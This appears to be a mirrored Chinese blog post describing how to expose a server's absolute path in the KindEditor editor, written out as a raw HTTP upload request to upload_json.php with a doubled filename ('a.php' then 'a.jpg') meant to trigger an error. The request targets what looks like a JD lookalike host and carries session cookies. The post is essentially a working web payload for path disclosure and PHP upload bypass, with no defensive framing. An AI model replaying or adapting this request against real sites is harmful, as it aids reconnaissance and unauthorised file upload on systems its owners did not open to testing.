zoukankan      html  css  js  c++  java
  • kindeditor 爆绝对路径

    kindeditor 爆绝对路径

    双写文件名触发报错



    POST /Public/main/js/kindeditor/php/upload_json.php HTTP/1.1
    Host: jd.com03w345bwm3.s3136s.cn
    User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.3538.77 Safari/537.36
    Accept: application/json, text/javascript, */*; q=0.01
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Referer: http://jd.xxx
    X-Requested-With: XMLHttpRequest
    Content-Type: multipart/form-data; boundary=---------------------------333386876433742102273577814771
    Content-Length: 80084
    Origin: http://jd.cxx
    Connection: close
    Cookie: __jda=161763518.15862537027651894983383.1586253702.1586253702.1586314786.2; __jdv=161763518%7Cdirect%7C-%7Cnone%7C-%7C1586253702765; mba_muid=15862537027651894983383; shshshfp=63c759c83cea84f8cfaae5cff8c1b1f7; shshshfpa=97968ff6-169d-4c7f-d624-24070fdbfcd1-1586253708; PHPSESSID=4dt103soba9m9n5e5n60gojbr4

    -----------------------------333386876433742102273577814771
    Content-Disposition: form-data ; name="imgFile"; filename="a.php";filename="a.jpg"
    Content-Type: application/octet-stream


     

     

  • 相关阅读:
    leetcode59
    leetcode95
    leetcode96
    leetcode787
    leetcode150
    leetcode165
    leetcode739
    快速搭建:Djangorest-framework的restful项目
    编写部署用到的部分shell脚本收集
    pandas:dataframe删除某些不为non的行
  • 原文地址:https://www.cnblogs.com/8gman/p/12661295.html
Copyright © 2011-2022 走看看